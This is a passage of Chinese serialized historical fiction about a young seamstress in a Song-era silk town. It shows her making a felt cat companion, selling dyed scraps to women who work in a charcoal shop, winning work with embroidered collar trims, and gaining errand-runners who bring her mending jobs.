“你看看,能不能给它做只假猫来?” 林秀水的心早已淬炼过,她面不改色接过那娘子给的猫图,在纸上开猫儿巷是不是?好几十只猫,它到底爱哪一个? 这么博爱的猫,林秀水说:“我觉得,当务之急,是给它做双眼罩。” “蒙蔽它的双眼。” 第44章 第 44 章 靠自己应有尽有(已补)…… 这只花狸最喜欢三花猫。 爱猫娘子说:“你别看这图上有那样多的猫, 它就喜欢三花。” “你当我怎么发现的,天杀的,它日日叼死老鼠来, 放到那案几上头,当成进贡的贡品一样,有回夜里把我吓够呛。” “我扔一只它叼一只回来, 就放到那最下头的三花猫前。” 爱猫娘子说到这,圆圆脸上忽然又露出点得意笑容,很像猫的狡黠,“我一看它还来劲了, 捕鼠捕到我家里老鼠连根毛都不敢留,生怕被它嗅着。” “后来,哪家闹鼠患, 我就收三文钱,带它上哪家灭鼠去,那真是威风极了,一条巷子里连只鼠影都找不着。” 人家是闻风丧胆,到了这花狸身上,那老鼠是闻猫丧胆。 爱猫娘子说完,从篮子里拿出一袋铜板, 沉甸甸的, 她小声且骄傲地说:“诺, 这是它自个儿捕鼠赚的两百一十三文, 另有后面聘猫的一袋盐和芝麻,劳烦小娘子成的话,给我家花花花做只伴来。” 林秀水听到这名字,手上一顿, 谁家能捕鼠的好猫叫花花花,怪不得喜欢三花,缘分。 说做眼罩的,那是玩笑话,林秀水倒是当真不解,“怎么不给它寻只真的猫来作伴?” 假的终究也成不了真。 “它毛病老多了,吃不了生鱼,吃了会难受,难受也就趴在那,一声也不叫,思春难受就到处刨坑,想把自己埋起来。” “它最大的毛病是,它还怕猫。” 爱猫娘子摸摸缩在篮子里的猫,这狸花猫很壮实,毛发光亮,脑袋圆圆,但却是个头大大,见猫胆子小小,见鼠威风凛凛。 她笑笑,“本来就是我在廊檐底下捡的它,那时它总被巷子里其他家猫欺负,每次假装躲在我家柱子前,当作是有主的看门猫。” “其他猫回了家,有猫鱼吃,它吃那水沟里的水,捉老鼠吃。” “我养了它后,它只在家里玩,见到屋檐上有其他猫,便躲回到窝里,连尾巴也不敢翘。”“我也不会再养第二只猫了。” 爱猫娘子一直摸着提篮里的花狸,底下还垫了衣裳,她总记得那时候,一只小小瘦瘦的猫,躲在她家门槛边,一有点动静,耳朵竖起,溜得飞快,等她轻轻掩上门,从门缝里看时,猫又蹑手蹑脚回来,翘起尾巴守着门。 这会儿已经是个大胖崽子了,重得很。 爱猫娘子跟林秀水说:“算卦的说我,这辈子有一儿一女,我活到四十来岁,也只生了个独女,它就是我猫儿子了,也算是应了卦象。” 她推推桌上的钱袋子,将它推到林秀水的手边,先说不够还能加,后才说:“我想帮它从你手里聘只猫伴来。” 听起来有些可笑,林秀水却看了眼篮子里的猫,她点点说:“我给花花花做只会永远陪着它的伴来。” 猫的一生里,或许长久或许短暂,或许闹腾或许沉寂,有像猫小叶那样,猫伴成群,一到小荷起床,吃了猫饭把它放出去,那屋檐上便会有一排猫并坐着,咬林秀水做的布老鼠,上蹿下跳的。 也有像花花花这样从前靠自己混日子,东躲西藏的,成为家猫后,再也不敢面对同类的。 林秀水接下这个聘猫的活来,在她的记忆里,羊毛毡做的猫就跟真猫差不多。 至于羊毛,她从蹴鞠社那买了些,他们近来用羊皮子做蹴鞠,剪下来有不少毛,她拿来用用,细心挑拣,身体她还是打算用布加丝绵填充,尾巴用羊毛。 丝绵是王月兰拿回来的,她说扯丝绵的时候,林秀水正坐在院子里,观摩请人画的三花猫图,这猫腹部是白的,额头有一撮毛黑,眼睛两边橘黄色,背上黄黑白三种颜色交错。 闻言才收了图,忙说:“姨母,你就扯薄点,我想给丝绵和羊毛染个色。” 王月兰扯丝绵的手一顿,闻言从屋里走出到门槛边说:“你又要作什么把戏,丝绵要上色的话,去买蚕丝,要不我给你打绵线,你拿去染。” 其实市面上没有丝绵兜染色的,尤其在桑青镇这样的蚕桑市镇里,在桑和蚕上,两起看得最重,染肆里大多是只染蚕丝和白布匹的,连套染都少见。 之前染料贵,林秀水没有钱买,好些次都是脑子里想想,嘴上说说,到真去买时,几百多文的染料让她扭头就跑。 可这会儿刚发了月钱,她腰包特别鼓,到买匹布都没有那么心疼了,终于可以捣鼓染剂了,而且相比于布匹,丝绵兜和羊毛对于她更好上色。 她除了想染丝绵兜以外,她还打算给麻袋染色,染各种色,至于染出来固色怎么样再说。 王月兰即使不懂,不明白林秀水到底想搞什么名堂,但她之前在染肆里做活,即使染的是蓝布,其他色凑合能染。 但是她捍卫自己的两口锅,烧粥煮饭便算了,给林秀水找了个炉子还有几个陶罐。 染料是林秀水自己买的,眼下染黄的植物有荩草、栀子和槐米,这些染出来的黄都不够正宗,所以卖得多,可以买来染。 栀子染的颜色鲜亮,但固色一般,日头晒晒会退,槐米是去年的,做成槐花饼包在油纸里卖的,加明矾是草黄色。 林秀水在小炉灶边用棍子先搅羊毛和丝绵兜,看着颜色渐渐染黄,她觉得染麻袋这种活,还是交给染肆的人吧,染个色挺费劲,对于她做裁缝而言,不划算,有这么个工夫,手里的东西都能补好些。 “走走,我给你染,你去补东西去,”王月兰挽袖子走过来,“叫你揽的活,柿漆呢,我再给染点褐黑色出来。” 林秀水拿了装柿漆的罐子给她,笑眯眯说多谢姨母,小荷在一旁说:“不谢不谢,记得给钱。” “你过来,我给你钱。” “我不来,”小荷绕到柱子后头,探出脑袋,“刚才那话是小叶说的,不是我说的。” 猫小叶吃虾,抬起头喵喵叫两声:“喵呜??” 林秀水看猫,背好大一口锅。 接下来,她先用板结的丝绵做为底,盖两三块厚布上去,拿出洗过的羊毛扎了又扎,没扎起来,话说隔行如隔山,隔毛如隔许多毛,最后发现是戳针的问题,上头得有针刺,要磨几个洞,她用废旧的针来做。 来来回回试了许久,扎出个大差不差的猫头,尖耳朵圆脑袋,眼睛是用黑色木珠子切半镶的,像猫,只是不像真猫,除非用木头一点点雕出来。身体丝绵填充,身上毛色她用染过色的丝绵兜,裁剪而成,一块块缝上去,再扎点羊毛填充边缘缝隙。 这只猫她做了五六日,其间出现了许许多多的问题,她不是干这行的料,硬着头皮确实做出了只假猫来,等着爱猫娘子带着花花花来聘它。 花花花很喜欢这只猫,慢慢探爪,到围着它一直打转,翘着尾巴,在身上 嗅了又嗅,高兴地喵呜一声,没有猫味。 它只喜欢没有猫味的猫,做得再假它也喜欢,很给林秀水面子。 爱猫娘子则有些惊诧,蹲下来看这只假猫,又伸手摸了摸,拿出篮子里的一袋盐和芝麻,来聘一只假猫回家。 她先是跟林秀水道谢,而后才跟花花花说:“走吧,带上你的猫伴,我们三个一道回家去。” 至于这只假猫,应该说花花花的猫伴,后来的毛色林秀水换了又换,补了又补,但它仍旧陪在花花花身旁,相互依偎。 而林秀水则没法忘记那做过的猫,以及扎的手真疼啊,但是值得。 更值得的是,在做猫的期间,她真买粮袋,跑去到染肆里,花了大概八九百文,给染成许多颜色。 麻袋她拆了,染的有各种色差,均匀不齐,但是比市面上染的布要便宜许多,别人卖布头大的要卖几十文,她按十文一块卖。 先是卖给炭行的,别看里头打炭的娘子们整日灰头苦脸的,但其实她们也爱喜欢好看的颜色。 虽然她头次跟这些娘子做布头买卖生意,但是她们却很欢喜,扯下包布的脸,笑的露出牙齿,脱下手套里算是干净的手,有几位娘子请林秀水到她们住的地方去。 她们一群人住在狭窄的小巷子里,而这里的屋子是棚屋,两边全是薄木头墙或是竹子,没有窗户,连旁边人家轻微的刮擦声也听得见,而且外面的墙板和地上黑乎乎的,全是炭灰留下的痕迹,连外头的树也是黑的。 从前林秀水卖手套路过这,以为这种低矮的棚屋里,应当同炭灰一样,里头应当也是灰黑色的,或许有着炭痕留下来的常年污垢,或许挂着张黑漆漆的门帘,只有衣裳是不同色的。 但进了第一位娘子的家中,她顿时感觉有些羞愧脸红,人家的家里跟她想得完全不同。 那墙上和屋顶上,都糊着一张张纸头,各种不大相同的色,有很多带着笔墨的痕迹,防止那些灰飘进来。 “这些纸啊,”李七娘子以为林秀水好奇,便跟她解释,“是我们从前头书院那里买的,他们学子用过的纸,很便宜,一篓废纸才二十文,我们买了糊墙正好。” “你的布头我们可喜欢了,能做好些东西,卖得还便宜,你瞧瞧,这是我自己用布头做的门帘,不晓得在你们裁缝手里还成不成?” “那当然成了。” 李七娘子给林秀水看她过道里挂的门帘,是用许许多多的小碎布头,五颜六色,用很粗糙的线迹缝起来的。 还有桌子,上头套的桌布,也是用碎布拼拼凑凑的,李三娘子还请林秀水看她睡的床榻,她男人没了,还有一双儿女,三人睡两张床。 这种小塌是用竹木做的,但都挂了碎布床幔,线迹一般,看得出来时时洗过。 “我们都是买些碎布来缝的,好些人说我们都在炭行里打炭,反正身上也脏,糊弄糊弄过去就算了。” “可咋糊弄一辈子呢。” 李七娘子晃晃自己手上套着的手套,她说:“自打我戴上了这手套以后,打一天炭,除了摘下来的时候,手指头发白点外,倒是干净许多。” “我们就不用每日下工回来,还得一遍遍搓洗,等到洗干净手才能坐在一块缝补了。” 后面其他娘子过来,林秀水听她们说这十几个人还成了个社,叫炭行缝布社,专门买些碎布头,拼缝成各种花样的东西。 有枕囊、荷包、包布、发带、门帘,穿在里头的里衣里裤等等,尤其林秀水这种大些的布头,她们就能拼成床布、被褥等大件的家当。 林秀水在各家四处看了看,那些不同颜色,不同纹样和花色的布头,经过各位娘子的一番巧手,点缀着这些屋子。 屋外是黑炭堆成的山,满目漆黑,可屋里是五颜六色缝补出来的日子。 林秀水卖布头给她们外,还教她们些小招,怎么垫补、织补、针法,又比如说鞋子想要不脏,可以做些鞋套套住,想要好看,或是用布裁出花样,补些裁好的布贴上去。 她待在炭行待了许久,告诉她们最简单的小物如何缝补,怎么做围布、袖套等等。 出来时,布头卖空了,那些便宜而粗糙的布料,会在她们的手里,在她们的针线里,装点在自己的家里。 而林秀水也照常过自己的日子,在领抹处上工,在小摊上缝缝补补,她时常会从那些形形色色的人领悟到许多东西。 关于那些向上走,抬头见光的,关于那些向下走,往下扎根的。 在她所做的布头买卖里,各色缝补活计里,她说很多人是桑青镇里遍地可见的桑树,有往下扎根的脚踏实地。 她也在短短两个月里向上走,抬头见光。 比如她做的领抹。 在领抹处,每一条做出来的领抹,都需要搭到衣裳上,袖口、领边、侧缝、衣摆,那都是领抹该上的位置,一件衣裳出不出彩,除了纹样花色外,还看领抹。 相比较那种纯色布缝裁出来的长条,这里精细的领抹,五日为期,出一身衣裳的领抹,而且领抹处跟做褙子的裁缝处,是前后间。 所以五日期一到,做领抹的和缝褙子裁缝聚在一间大屋里,如同分餐制那般,有一张张案几,左边坐缝褙子的裁缝,右边则是坐缝领抹的。 中间有一个很宽很长的衣架,也叫衣桁 (hàng),上头的横枨能拆,穿过褙子,将衣裳挂起来,能叫人最快看清,褙子形制和上头花样。 管衣裳的姚管事例行说:“做工我不多说,都是当裁缝的,针线活各有各的出挑,我想说的还是那句,衣裳这东西一年有一年的风向。” “前两年袖子越窄越好,到了眼下,又放宽来,褙子要搭金饰样,纹样更是一年年在变。” “做褙子的时常要想想,除了样式,还有哪些地方能做得出挑,别人那洒金团样就做得不错,我们做销金技艺的还能试试做泥金…”姚管事哪都好,就扯到衣裳上,嘴里有一箩筐的话要说。 林秀水五更天起来的,真的很困,姚娘子说话东扯西扯,跟她喝的粥一样乏味。 她努力撑着眼皮,手支在桌子上,头开始发沉,有人戳戳她,她下意识坐直身子,只听姚娘子喊:“阿俏,拿你的领抹上来。” 林秀水一惊,在这个词差点从嘴里飞出来,又赶紧吞下,拿了领抹上前。 二十三号人目不转睛看她,底下有悄悄的议论声,“抽纱绣的,听过没?” “少小瞧我,我还去看过呢,也就跟我的刺绣不相上下。” 一人说:“我回家也去抽了。” 另一个回:“那抽的布招供了没?” 小声议论,随着林秀水的领抹挂到褙子上,终而转大,原先这抽纱绣的样式,林秀水用的是最简易的织法,织出镂空的纹路就行。 但是正经做起来,不仅要抽纱缠绕,还得刺绣,辅以缜密的纹路。 一条四根手指宽的长领抹,她将横向的线每隔一根抽出来,在松散的线迹里,用青和绿两种颜色,交混编织刺绣,借用镂空的纹样,绣出缠绕的绿叶和白铃兰。 搭在这种款式极为简易,只是青色而无任何纹样的褙子上,也让褙子变得清雅出众,恰到好处的镂空,繁却不密的针脚。 好领抹该是能衬衣裳的,而不是衣裳衬它。 底下有了吸气声,姚管事也站到褙子后头去说:“看,即使年纪小,也能有这样的好手艺,出不出挑我就不用多说了,想看的都来看。” 大家站起来,一窝蜂围过去看,有个娘子小声说:“气人。” “气什么?” “太气人,气我自己没生这样一双手。” 又有娘子咳了声,眼巴巴地说:“能做条给我的话,我什么都愿意做的。” “叫你吃素呢?” “我能吃一个月的素!不行,还能再加!”无肉不欢的娘子说。 宁可食无肉,不可衣无领啊。 抽纱绣的领抹 不仅在裁缝娘子间大受欢迎,没有出裁缝作,便被人全套抢走了,除了衣领处的长领抹外,还有两条袖口的两条,衣摆处,总共四条领抹。 林秀水光是这四条进账有九百二十文,头一次钱赚得如此之快,她面上半点不改色,心里却想,有钱人的钱真好赚。 顾娘子给她称的碎银子,加了些,有一两多,为了拢住她,每次买卖是现分钱,绝不拖过夜,毕竟抽纱绣的领抹,那是尤其抢手,并且让她在许多闺秀前长脸。 “是这样的,”顾娘子给她斟茶,“阿俏,我认识好几个小娘子,她们都想要抽纱绣的领抹,但吧…” “都想要自己的跟别人不一样是吧,”林秀水懂顾娘子的未尽之意。 她吭哧吭哧从自己的布袋里,拿出一本自制的绢本,上头全是抽纱绣,比较短,但是样式颜色花样变化。 “让她们挑吧,要是不够还有。” 林秀水自打经历过许多缝补的活计,再也不打没有准备的仗了。 不止抽纱绣本,她还用各色布头做了本配色本,有些在瞧着好看的颜色,花了许久一一记下来,用布头仿搭。 粉青绿,红间绿和橙,橙蓝白、紫与黄等等。 不仅如此,为了应付各种是人的和不是人的,她还弄了三四本厚纸样,确保人有衣裳穿,确保非人,也有衣裳穿。 顾娘子翻了翻绢本,那抽纱绣的样式无一不精细,无一不出彩,再看林秀水一眼,有些钱还真该她赚。 在顾娘子心里,林秀水已经从熨布能手到缝补手艺惊人,再转而到是个厉害人物,厉害到不能用年纪轻看她。 她翻着这绢本,细思了会儿才道:“阿俏,布头仍旧照给你,每月一匹布,我给抬到两匹细绢,一匹纱缎,春衫两套,给节礼,一个月休工四日。” 这说的节礼,是按朝廷给官员休沐的日子算的,也就是元日一直到腊月里,元宵、立春、人日、中和节、春分、春社、上巳、清明、立夏、端午等等。 林秀水处变不惊,实则惊讶太过,顾娘子给她补了上巳和寒食以及清明的节礼,她小船都装不下,船头船尾塞满了东西。 还得天黑喊王月兰跟小荷来拿,小荷主要打灯笼,其余是王月兰和林秀水搬。 王月兰肩扛一袋米说:“你救你们顾娘子命了?” “她救我命了。” 林秀水搬得直喘气,顾娘子很实诚,送了她三袋米、两袋面粉、一袋各种豆子,以及清油和一罐酒,红封装着的各色糕点和果子,也就是蜜饯,如薄荷蜜、甘露饼、糖丝线、泽州饧等等。上头的裹贴林秀水小心拿下,装进封册里,之后拿去给思珍。 除了必给的布头外,她还收到了一柄铜制的熨斗,一把剪子,上头刻着并州二字,是时下最好的并州快剪,以及刘家功夫针铺出的一盒细针,各色丝线。 林秀水坐在这成堆的东西里,摸着要上贯的熨斗,蜡烛的光照得她面上明明灭灭,耳边有王月兰和小荷欢喜的声音。 这才是靠自己,应有尽有。 她将赚的碎银子塞给王月兰说:“姨母,我们也整修翻新下屋子吧。” 林秀水当然也会有裁缝娘子的困扰,比如给别人修补东西修补很起劲,到了自己住的地方,也会想凑活凑活。 可是在炭行里待了会儿,她觉得日子能缝补,但也不能太凑活。 当赚的钱满足了温饱时,提高衣裳头饰,里外过得体面时,又有余钱,林秀水自然想让亲人过得更好。 王月兰不愿意她出钱,她自己有钱,林秀水朝她笑,“那我直接请上门来好了,顺道把门也给拆了。” “拆门干什么!”王月兰坚决不同意,“其他随你弄。” 这就是调和跟折中,林秀水懂了,想拆家时先拆门。 但不能拆门,就可以拆家,倒也没有大拆特拆,小拆特拆了番。 比如进门的院子,请修瓦的匠人拆掉点瓦片,扩大天井更显眼,院子小,雨后青苔多,用砖新铺过,新弄了排水口,又重新砌了灶台,之前的很不好烧。 柱子和墙再重新刷一遍桐油,以及请张木匠在进出门边上,给猫小叶做了个猫门,方便它进出。 换床帐换枕囊,还去南货坊淘买物件,桌椅碗筷架子,原本整理过,却仍旧拥挤的屋子里,终于齐整而不杂乱,每样东西各有归处。 王月兰有了缫丝弄丝绵的位置,小荷有专门放耍货的柜子和几把小座椅,她请她的小友来玩可以坐。 林秀水站在天井下,抬头见光,光很盛也很明亮。 这已经是四月中,小满节气,豌豆开花,油菜结实,蚕出新丝。 河里到处都挤满了船,林秀水不能走水路,多早都有丝船和蚕船堵她的船,她又只能走路。 但是仰赖于她接修补活计的河道口两岸人家,她的船不来,又压根没有工夫送东西。 于是催生出一种新的赚钱方式,有人摇船接取缝补活计,有人走街串巷敲梆子收补东西,送到林秀水手上来。 人称跑腿缝补。 林秀水说,看她闲得慌,给她到处找活干的。 她只是想什么都补,不是号称什么都能补啊!—— 作者有话说:本章已经补好,本章会有红包致歉。 第45章 第 45 章 火背心的故事 这跑腿的孙大从前是在分茶酒肆里做活的, 酒肆大的,叫分茶,他从前便是帮客官跑腿的, 又称他这种人为闲汉。 孙大生得一般,脸上长麻子,口齿一等一地好, 他说自己在做闲汉前,是南瓦子里说诨话的,便是那说俚语笑话,动作滑稽的路岐人。 “想当年, ”孙大将缝补物件递给林秀水,他假作抹了抹自己的眼泪,“我从前说起诨话来, 底下一片叫好声,给我打赏钱,到眼下点头哈腰喊好,好,给我些赏钱吧。” “别人干一行成一行,我干一行,”孙大见林秀水脸色变了, 登时笑道, “我干一行行一行。” “我说我自个儿, 一是狗掀帘子, 净仗着嘴,二是那车轱辘架子,很能跑腿,这从上到下的河道口, 哪有我孙大没去过的地,有活包给我干,只管放心。” “我是给你说得明明白白,清清楚楚,破了口的,裂了缝的,烂了面的,小孩子玩意,娘子穿的,郎君裹的,能补的不能补的,通通不在话下。” 林秀水听他说得太流利,这从前确实是靠张嘴吃饭的,怪不得什么生意都能揽,而且他这种缝补揽来的活计,是先拿了人家脚费和缝补银钱,再付给林秀水,多退少补。 还叫林秀水能的话,给他开张条子,补了多少钱,他回去好交差,不能昧了人家的钱。 他还不止揽河道口的生意,往前竹木两行人家,往后瓦子河北岸,靠一口好嗓子,吆喝说诨话,也能揽许多活来。 在眼下桑树口几个缝补小摊子里,他总能将要缝补的东西转手,这个破灯给糊纸匠,那个烂竹罩子给篾匠周阿爷,这散了架的黄草席子交给黄阿婆,一堆乱糟糟的衣裳给胡三娘子。 最离谱最棘手的,全留给林秀水。 “这椅子也要缝?” 林秀水看着眼前这把椅子,就中间有块木板,两边空的。 “害,这不是官帽椅吗,”孙大张口便来,“说做个椅套,官上头得戴帽,坐的椅子也得戴顶帽。” “那户人家是个官迷,只是考又考不上,我就说,官帽椅得戴帽,再绣只公鸡上去,那便是公鸡戴帽子,冠上加冠呐。” 林秀水真服了这张嘴,她没做过椅套,也没缝过公鸡。 孙大口一张,立即道:“小娘子,你得想,这不是跟乡下老进皇城,凡事都有第一遭,跟谁过不去,也不能跟钱过不去,给百来文呢。” 林秀水又指指桌上的针线盒,“那这呢?木头做的,我做个啥?” “这事啊,那就是公要馄饨婆要面,真是众口难调,那家做婆婆的,喜欢套蓝布针线盒,那做新妇的,说想要粉的,家里就可着一个针线盒用,吵得天翻地覆。” 孙大点点这针线盒说:“我说没事,做个双色套,各看各的,就跟那蝉鸣蟋蟀叫,各唱各的调一样,合起来哪有什么婆媳情愁是不是,和气才能生财,有财了嘛,还能为个针线盒吵翻天。” 这口舌咋能这么厉害,一套一套的,活揽得 还明明白白,有理有据,黑的都能说成白的。 他跟林秀水熟了后,还从她手里买手套,不管布的,油布的,先掏钱给她,买了几十双的手套,半日便卖出去了。 布手套卖给搬运的脚夫,说手里有套,办事才牢,至于油布手套,划了船河边洗衣的娘子随便扯两句,弄得买一双不行,买两三双。 他这个销路特别稳妥,到处揽活,到处转悠,就算林秀水心血来潮叫染肆染的麻袋布头,他都放船上叫卖,压根过不了夜。 林秀水稳赚,他也不亏,说给林秀水卖东西和揽活,可比在分茶酒肆里跑腿,要赚得多得多,他是真的上有老,下有小,中间媳妇身子又不大好,每月买药得费一贯,靠林秀水得了济,每月能赚两三贯。 当然林秀水的生意到后头能铺那么大,除了跟孙大一张巧嘴有关,还跟一个人脱不了干系,那就是另一个跑腿的,叫作宋三娘,一个很瘦瞧着有精明相的妇人。 也是分茶酒肆里出来,跟孙大是相识,两人都看不惯酒肆里头的做派,要是新客上门,看人下菜碟,暗换菜蔬。 宋三娘曾是酒肆里头的焌(qū)糟,做的事擦桌子,斟酒以及换汤的活计,活太多,从早忙到晚,钱太少,每月到手只够些一日吃两顿的,喝稀粥吃盦(ān)饭,就是米放里头,用热水焖熟,或者吃淹饭,冷掉的剩米加点水泡泡,凑合对付两口。 听孙大说得好,她也跑来试试,她住临街坊巷里,跟邻舍关系不错,比起孙大船运,她更适合沿街叫卖。 她口才一般,胜在人精明,而且识人广,难得的是在市井里,有江湖义气。 她来时便说:“东西砸我手里,都不会砸小娘子你手里,我们做这行的,讲究活扛在肩头,睡了也得背着,出了事自个儿担着。” 宋三娘走街串巷揽活,她有头驴子,两边放篓子,但每次只揽一条街。她需要记住,东西是谁给的,住哪家的,付了多少银钱,能补好的都第二日送还,不能补好的,上主家那说一声。 不过她给林秀水揽的活,比较精巧,要用布做手帕、发带、香囊的,印象比较深的,大概她送来货郎卖的一只黄胖。 黄胖也是泥孩儿,属于悬丝傀儡的一种,大多盛行在清明,而且是西湖船上卖得盛行的土宜。 林秀水不大喜欢,主要这黄胖,一是用来做它的泥土颜色黄,二是肚子大,做得不大讨巧,但是要穿衣裳,她想想给做了身外穿的衣裳,到底没接这个活。 不是所有悬丝傀儡,都像苏巧娘做得那么精巧而细致,有些出奇得煞人,林秀水下不去手。 宋三娘主要卖香囊、手套、罩衣等比较多,她能卖到各条巷子的妇人和小孩手里去。跑的路多,东西卖得好,所以她也能带家里几个孩子,混上一日三餐,有时能赚一两百文,能加个肉餐。 但是林秀水有点苦恼,她哪来那么多的人缝手套,隔壁张阿婆跟陈双花两人,每日起早贪黑,赚两份钱,再多些也实在难以胜任。 而且王月兰每日下了丝行的活计,除了烧饭给她剪布样,林秀水觉得还是不大成,得再来两个帮手。 王月兰剪着油布给她谋划人选,她放下剪子,甩甩手说:“要是想找人缝,就前头那个男人掉河里没了的,我去帮忙的蔡娘子,你还记得不?” “她人除了软弱,还有个毛病,就是觉得自己是女人家,又死了官人,不大好抛头露面,但是缝补手艺不错,经常接些周边邻舍的缝补活计。” 至于剪布的话,那倒是简单,叫边上的娘子来剪,剪多少给个十几二十文的,林秀水才能保证稳定将东西供给孙大和宋三娘,以及洗衣行等需要的。 生意做得风生水起时,林秀水还跟陈九川见了一面。 此时河道畅通,所有的河运都要给新丝让路,所有船里丝船先行,不能耽误蚕桑,毕竟年年这个税占了桑青镇大头。 陈九川要送蚕丝往上林塘边上走,问她回不回,可林秀水手里活多正忙的时候,压根不是想走,只能托他带东西去。 两人并肩走在河岸口,陈九川说:“我这趟回去后,打算接桑英来。” “我在镇里给她谋了份米行的差事,这活她能做。” 林秀水正在折柳条上的叶子,闻言柳条啪的一声折断,看了陈九川一眼,语气有难掩的震惊,“你跟伯母说好了?” 她不大信,倒不是说不想桑英来,并且有份活计,而是在她的印象里,张伯母希望桑英能嫁到桑林坡去,嫁个有桑林的人家,吃穿不用发愁。 所以她即使内心想过许多次,终究没有说出口,让桑英到镇里来,她那会儿连自己都养活不起。 而且到米行里上工,她光是想想,都觉得陈九川回去,得跟张伯母据理力争一番,很是头疼。 陈九川笑了笑,“我又不怕,我娘又不会真打死我。” “哪怕真打死我,我也想让桑英从上林塘出来,能自己混口饭吃。” “像你一样。” 陈九川低头看河里的船,“毕竟,靠人吃饭,都是端不牢饭碗的。” 他想桑英像阿俏一样。 “我先说,”林秀水举起双手来,“我是一万个赞成的,要是伯母骂你打你,我是站在你这边的。” “到时候没处去,叫桑英跟我一道睡,挤一挤。” 陈九川抬眼看她,轻笑一声,“那倒是不用,只是我们又做邻居了。” 他在镇里左挑右选,最后看中了桑桥渡河道口临河的一个屋子,那户人家要搬走,没跟林秀水说,是还没确切商量好,怕一场空,到这会儿才算是过了契。 只是凑巧的是,这户人家在林秀水住的这里,隔了条河,斜岔口第二家,就是养了鸟旁边第二户人家,一直都没有住什么人。 林秀水眼睛瞪得很圆,“真的啊?” “假的。” “陈九川!” “嗯,我听见了。” 林秀水兴奋于桑英会到镇里来,她不大怀疑陈九川的办事能力,她跟小春娥是知交好友,而桑英算是亲姐妹,比她小一岁的妹妹。 她还去瞧了陈九川租赁的屋子,跟她住得很近,就隔一条小河,伸根长竹竿都能挂东西往来的程度。 她确实很高兴,只是陈九川死不正经,说是她娘家人,到时候来蹭吃蹭喝他都敞开大门,毕竟他确实有手好厨艺,但林秀水时常觉得,他最好去瞧瞧脑袋。 当然陈九川得送完蚕丝,才能再返回到上林塘,接桑英过来,得要些日子。 她给桑英做了新的枕囊、小包、领抹、发带等等,像桑英跟她同绑一条漂亮发带,把她的厚枕囊塞给她一样,至于陈九川,做点耐脏的就行。 当然怀抱欣喜时,林秀水只能抽空想一想,仍旧很忙。 顾娘子拿了绢本过去,给她接了十来条活计,而且因为实在相信她的手艺,人家是把衣裳送过来的。 搞得其他做领抹的娘子,除了心里有些许不是滋味以外,还有个问题。 “阿俏,收不收我这种除了年纪大,手有些抖,眼睛还不大看得见的徒弟,”有个四十几的娘子走过来问林秀水,“其实除了这些毛病外,我还算年轻的。” “这不是说,干我们这行,是越老越吃香,老裁缝老裁缝,越老的裁缝” “越老,”边上有娘子接上话。 另一个缝绣样的小裁缝说:“阿俏要不还是选我,我年纪小,手也稳,而且我肯定能孝顺你到老。” 老裁缝反击:“边上去,我们这种老裁缝,老是老,外头老,里头好,你懂什么?” “我不懂,”小裁缝说,“我里外都好,又不是绣花枕头一包草。” 林秀水笑得手上抽的丝都在抖,她在领抹处同大伙混得都很好,主要她又不吝 啬自己的手艺,大伙要是有需要的,她能帮得上忙,都愿意教。 比如领抹处有个杜娘子,她缝东西一绝,那针脚和线迹,又快又好,而且绣活也很好,绣出来的东西活灵活现。 但是有个问题,她自己想不出好绣样,经常对着衣裳发呆,林秀水就会在歇工时候,用各色布料剪了花样给她瞧。 告诉她想不出来,可以用布进行拼凑,说不准就有感觉了,杜娘子还真有些突破,两人会交换各自擅长的东西,相互学对方的长处。 又或者那个小裁缝,叫小环,小环最擅长画各种纹样,但是绣技倒是一般,可林秀水缺画纹样的思路,可在绣活上,倒是有不少投机取巧的法子。 两人算是一拍即合,每天起早小环会晃晃自己昨夜新画的纹样,“阿俏,快些来瞧,我画的那叫一个好。” 林秀水就会拿着自己的绣样走过去,小环伸手,两人完成各自的手艺交换,才等更漏到时,上工开始缝领抹。 而且林秀水有了两个打下手的,过来练习抽纱的。 圆圆脸那个岁数小点,叫作小七妹,她眼睛挺好,抽纱又快又稳,就是会说:“我一抽起纱来,我身子就有点抽抽,老是想扭。” 另一个瘦长脸,个子高很稳重还轴,是李锦。林秀水说抽一根,她绝不抽第二根,说多抽点吧,问多抽点的点是几点? 属于林秀水告诉她一直往南走,撞了南墙头也不回的人。 但这两种人吧,各有各的好,小七妹有想法,李锦能将东西原本原样地还原出来,不适合动脑子,林秀水说她跟悬丝傀儡差不多,动一动才提一提,有时候她都怀疑,这不会是个假人吧。 李锦摇头否认,“我着火会往外跑。” 嗯,下雨天还会往家里跑,林秀水默默补上。 不过说到着火,其实最近临安起火当真不少,有不少人私下议论,说是从前南渡时,就不该起建炎的年号,搞得大火连天,小火不断。 林秀水下工回来,听了一路,到桑树口底下,被拉着坐下,忙问她,“阿俏,临安又起火了,听说又烧了好几座庙。” 有个娘子绕着蚕茧说:“你说说,这烧香拜佛的,有个鬼用,佛祖连自己都保不住,还我佛慈悲。” “那你别去拜蚕花菩萨啊,谁的心都没你的诚,”另一个信佛的娘子很不乐意,没听她嘴里正在念阿弥陀佛吗! “我信的是菩萨,跟你就不是一道的!” 林秀水听得头昏脑胀,都是些什么东西啊,连回去后,王月兰也扯着丝绵说:“这佛祖可遭了大难,还渡别人呢,自身都难保。” 到了转日,官家免竹木两税重建屋舍的消息传来,王月兰立即变了口吻,“还是我佛慈悲啊,知道舍己渡人,阿弥陀佛。” 王月兰也跟着去抢竹木料,抢得天昏地暗,抢了一船来,不知道做什么,先抢了再说。她擦着嘴角破了点皮的地方说:“有便宜没占到,那还是我王月兰吗。” “有便宜不占王八蛋,可我是陈桂花。” 说完,跟同样灰头土脸的陈桂花对上眼,两人默默移开视线。 除了抢竹木料的,潜火兵和更夫忙得脚不沾地,更夫那是夜夜都得打梆子,潜火兵有望火楼,一有火情,立即派队出警。 张木生日日弄得灰头土脸,还有次被火燎了头发,得亏他蹿得快。 终于轮到他休息,迈着沉重的步伐向林秀水走来,摸摸脸上的烟灰,“我觉得我这个名字不好。” 林秀水问:“哪里不好?” “火克木啊!我一个灭火的,怎么能叫木生呢!”张木生摇摇脑袋,“我得改名,我要叫火生去!” 林秀水瞥了他一眼,被火燎傻了吧,“水克火啊,你应该叫水生,生水也行。” 张木生哎了声,蹦起来,一骨碌跑远找他爹去, 结果被张木匠拿着竹扫帚给打出来,列祖列宗就没有换名字的理,跳着扒到墙上去,在那喊:“要不让我跟铁生换个名字,我叫金生也可以啊,这真金不怕火炼啊。” 张木匠气急了,“我看你还能叫个名字。” “什么?” “象生。” 生了又没生。 张木匠挥袖气狠狠进门去,想想这儿子不着调,要不真到算卦的那去,改个名字保佑他。 